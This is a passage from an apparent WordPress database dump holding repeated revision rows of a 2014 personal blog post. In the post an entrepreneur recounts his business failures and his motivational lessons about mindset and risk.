change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\n\n&nbsp;\n\n<em>True success is an inner game.</em>\n\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\n\n&nbsp;\n\n<em>Embrace risk like a lover.</em>\n\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\n\n&nbsp;\n\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\n\n&nbsp;\n\nMy big fat failures were my greatest gifts.\n\n&nbsp;\n\n&nbsp;\n\n&nbsp;\n\nIf you found this post helpful, please subscribe to the blog.', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-revision', '', '', '2014-07-07 18:35:44', '2014-07-08 01:35:44', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-revision/', 0, 'revision', '', 0);
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(2667, 2, '2014-07-07 18:36:41', '2014-07-08 01:36:41', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\r\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\r\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\r\n\r\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\r\n\r\nI was making money. I was a success!\r\n\r\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\r\n\r\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\r\n\r\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\r\n\r\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\r\n\r\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\r\n\r\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\r\n\r\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\r\n\r\nFor the first time I had experienced real devastating failure.\r\n\r\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\r\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\r\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\r\n\r\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\r\n\r\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\r\n\r\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\r\n\r\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\r\n\r\n<strong>Finally, I reached my bottom. </strong>\r\n\r\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\r\n\r\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\r\n\r\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\r\n\r\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\r\n\r\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\r\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\r\n\r\n<em>Failure is fiction.</em>\r\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planed. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\r\n\r\n<em>True success is an inner game.</em>\r\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\r\n\r\n<em>Embrace risk like a lover.</em>\r\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\r\n\r\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\r\n\r\nMy big fat failures were my greatest gifts.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-revision-2', '', '', '2014-07-07 18:36:41', '2014-07-08 01:36:41', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-revision-2/', 0, 'revision', '', 0),
(2668, 2, '2014-07-07 18:36:46', '2014-07-08 01:36:46', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\r\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\r\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\r\n\r\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\r\n\r\nI was making money. I was a success!\r\n\r\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\r\n\r\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\r\n\r\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\r\n\r\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\r\n\r\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\r\n\r\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\r\n\r\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\r\n\r\nFor the first time I had experienced real devastating failure.\r\n\r\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\r\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\r\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\r\n\r\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\r\n\r\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\r\n\r\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\r\n\r\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\r\n\r\n<strong>Finally, I reached my bottom. </strong>\r\n\r\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\r\n\r\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\r\n\r\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\r\n\r\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\r\n\r\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\r\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\r\n\r\n<em>Failure is fiction.</em>\r\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planed. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\r\n\r\n<em>True success is an inner game.</em>\r\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\r\n\r\n<em>Embrace risk like a lover.</em>\r\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\r\n\r\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\r\n\r\nMy big fat failures were my greatest gifts.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-revision-3', '', '', '2014-07-07 18:36:46', '2014-07-08 01:36:46', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-revision-3/', 0, 'revision', '', 0),
(2669, 2, '2014-07-07 18:45:47', '2014-07-08 01:45:47', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\r\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\r\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\r\n\r\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\r\n\r\nI was making money. I was a success!\r\n\r\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\r\n\r\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\r\n\r\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\r\n\r\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\r\n\r\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\r\n\r\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\r\n\r\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\r\n\r\nFor the first time I had experienced real devastating failure.\r\n\r\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\r\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\r\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\r\n\r\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\r\n\r\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\r\n\r\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\r\n\r\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\r\n\r\n<strong>Finally, I reached my bottom. </strong>\r\n\r\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\r\n\r\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\r\n\r\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\r\n\r\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\r\n\r\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\r\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\r\n\r\n<em>Failure is fiction.</em>\r\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planned. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\r\n\r\n<em>True success is an inner game.</em>\r\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\r\n\r\n<em>Embrace risk like a lover.</em>\r\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\r\n\r\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\r\n\r\nMy big fat failures were my greatest gifts.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-revision-4', '', '', '2014-07-07 18:45:47', '2014-07-08 01:45:47', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-revision-4/', 0, 'revision', '', 0),
(2670, 2, '2014-07-07 18:45:51', '2014-07-08 01:45:51', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\r\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\r\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\r\n\r\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\r\n\r\nI was making money. I was a success!\r\n\r\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\r\n\r\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\r\n\r\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\r\n\r\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\r\n\r\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\r\n\r\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\r\n\r\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\r\n\r\nFor the first time I had experienced real devastating failure.\r\n\r\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\r\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\r\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\r\n\r\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\r\n\r\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\r\n\r\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\r\n\r\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\r\n\r\n<strong>Finally, I reached my bottom. </strong>\r\n\r\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\r\n\r\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\r\n\r\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\r\n\r\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\r\n\r\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\r\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\r\n\r\n<em>Failure is fiction.</em>\r\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planned. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\r\n\r\n<em>True success is an inner game.</em>\r\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\r\n\r\n<em>Embrace risk like a lover.</em>\r\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\r\n\r\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\r\n\r\nMy big fat failures were my greatest gifts.\r\n\r\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-revision-5', '', '', '2014-07-07 18:45:51', '2014-07-08 01:45:51', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-revision-5/', 0, 'revision', '', 0),
(2671, 2, '2014-07-07 18:52:43', '2014-07-08 01:52:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg"><img class="alignnone size-full wp-image-2665" title="failure" src="http://whc.fbdev.org/wp-content/uploads/2014/07/failure.jpg" alt="" width="495" height="312" /></a>\n<h1>Out of my own colossal failures, my purpose and passion for helping entrepreneurs create business success and personal achievement was born.</h1>\nIn my first decade as an entrepreneur and creative professional, I worked with single-minded determination to "arrive", and become a “made man” in my profession. I was going to be a success and failure never entered my mind.\n\nThrough hard work I was successful by all measure earning the respect of my employees, partners, clients and competitors. I was also married raising my family, living in a beautiful house on the right side of town. I was the picture of worldly success I had always dreamed of being and worked so hard to achieve.\n\nI was making money. I was a success!\n\nI’m not exactly sure when it began for me–the awareness of a distant voice and feeling telling me I had other work to do in life and was in the wrong place and doing the wrong work in the wrong business. I did not understand what was happening to me at that time. All I recall is doing all I could to ignore this distant voice beckoning me towards who knows what?\n\nDespite all my outward success, I felt empty, unsatisfied, yearning, with a nagging feeling of aimlessness and meaninglessness.  I never felt complete or whole about who I was, nor my real reason for being. I was never satisfied with the quality of the work I did for my clients, nor did I appreciate the good things that happened to me. I felt completely lost, but I trudged on, unwilling to be open to anything other than the  "make money, be successful in the world" value system I had thus far based my entire life on.\n\n<strong>I was in my early 40s when I first drummed up enough courage to follow a really crazy idea</strong>.\n\nWith growing apathy for my design business, I found myself being pulled back to music (a love since childhood). I began to write songs. Then I performed them, and recorded them. After a couple of years experimenting with this crazy idea, I opened a recording studio and design office in Nashville.  I was going to be a successful songwriter and creative impresario. At long last, I was going to create a successful business doing what I really loved! For the first time in my life I choose to follow my bliss.\n\nMany of my closest friends and colleagues, and especially my family, thought I was completely nuts. Many admired the "gutsy, bold move" but they still advised I was crazy taking such a big risk doing something that had little chance for success. Deep down inside I believed them.\n\nDespite my best game face, I was scared shitless the whole time... constantly worrying I wasn''t good enough, didn''t have the right connections, not enough money, and a deep belief that I was just kidding myself, the whole adventure was folly and I should be sensible and get back to my practical business that made money and kept everyone else who depended on me happy.\n\nAfter a year or so, operating with one foot on the gas and the other on the brake, I finally pulled up stakes and left the Nashville adventure with my tail between my legs.\n\nFor the first time I had experienced real devastating failure.\n\nIn the process I lost a ton of money, and more importantly, my belief and confidence in my ability to create what I wanted. I believed in my failure and it defined me for the next decade.\n<h2>Afraid to admit a change in my approach to life and business was necessary, I trudged on in my marketing communications and design business for several more years going through the motions, feeling resentment, pissed off and lame.</h2>\nMy heart was no longer in my business, but I was still making good money, which seemed to placate me enough to stay stuck in my confusion and misery, safe inside my little comfort zone.\n\nThen came the financial meltdown of the economy in the summer of 2007, Granted few entrepreneurs saw it coming. I was completely unprepared for such a devastating occurrence.\n\nIn its aftermath, I nearly went out of business, lost all of my retirement savings, my home was underwater, and I had accumulated significant debt keeping my business alive and helping my twin daughters get through college. I felt like Biblical Job, bewildered in a perfect storm of personal and economic calamity, asking in my righteousness "why me?”\n\nLike my Nashville debacle, the financial crisis was just more evidence I was a failure– a victim of circumstance, powerless to create the success I truly desired.\n\nI was 55 years old with a lifetime of hard work and not a thing to show for it. My entire life seemed like nothing more than a reflection of decades of failed half-assed schemes, lost money and bad timing.\n\n<strong>Finally, I reached my bottom. </strong>\n\nMore out of necessity rather than wisdom, there was nowhere for me to look but up–and that’s exactly what I did. In 2008, amidst unprecedented uncertainty, I made an irrevocable decision to never again allow “failure” to diminish my belief and capability to create new opportunity.\n\nIn the several years since that defining moment in my life, I made the commitment to elevate my creative thinking and strategic direction. I’ve spent the past few years re-learning, experimenting, and investing in new knowledge. From the inside out, I began to rebuild my self-esteem and confidence. I would never again beat myself at my own game.\n\nReframing my inner beliefs about my value and contribution, I was once again determined to pursue new business ideas–engaged in what mattered to me and would serve the good of others. The White Hot Center is but one expression of that commitment and creative reinvention.\n\nI continue to face challenges. There are obstacles. My resolve is tested daily. I don’t pretend to have it all figured out, but I have learned much from my so-called failures and I am grateful for their teachings:\n\n<em>Your current circumstances are the effect and result of a previous mindset.</em>\nIn my case, I believed in lack and limitation and was afraid to claim my right to pursue my ideas powered by my natural gifts and talents. Never let any failure define the level of your belief and confidence in yourself to create value in the world. Facts are far less important than the quality of your mindset.\n\n<em>Failure is fiction.</em>\nThere is no such thing as failure. It’s all in your head. Challenges will always present themselves and through them the path forward is revealed. Things sometimes don’t work out as planned. The winds of change will blow constant in every direction. There will never be the right time, the right idea, the right partner, or the right amount of resources. As long as you are alive and able to use all your mental faculties, there is only learning and growing. The entire universe operates on this principle.\n\n<em>True success is an inner game.</em>\nThere is no success outside yourself that can satisfy your inner thirst for meaning, satisfaction, fulfillment and contribution. Success is an attitude and a way of being in the world that enables you to use your natural gifts and talents to increase the good of others. When your focus is on the increase of others, your life experience increases in equal measure. No amount of outer success can overcome an inner belief of lack and limitation.\n\n<em>Embrace risk like a lover.</em>\nGrowth and expansion requires risking your safety and security. The price of any accomplishment, achievement and attainment will always include risking something you would rather not lose. Do it anyway. Whatever happens it will only serve your growth and advancement.\n\nAs Marcus Aurelius, the Roman philosopher and general said two thousand years ago, “what stands in the way becomes the way”.\n\nMy big fat failures were my greatest gifts.\n\n<em>If you found this post helpful, please subscribe to the blog.</em>', 'My big fat failure.', 0, '', 'inherit', 'open', 'open', '', '2664-autosave', '', '', '2014-07-07 18:52:43', '2014-07-08 01:52:43', '', 2664, 'http://www.whitehotcenter.com/2014/07/2664-autosave/', 0, 'revision', '', 0),
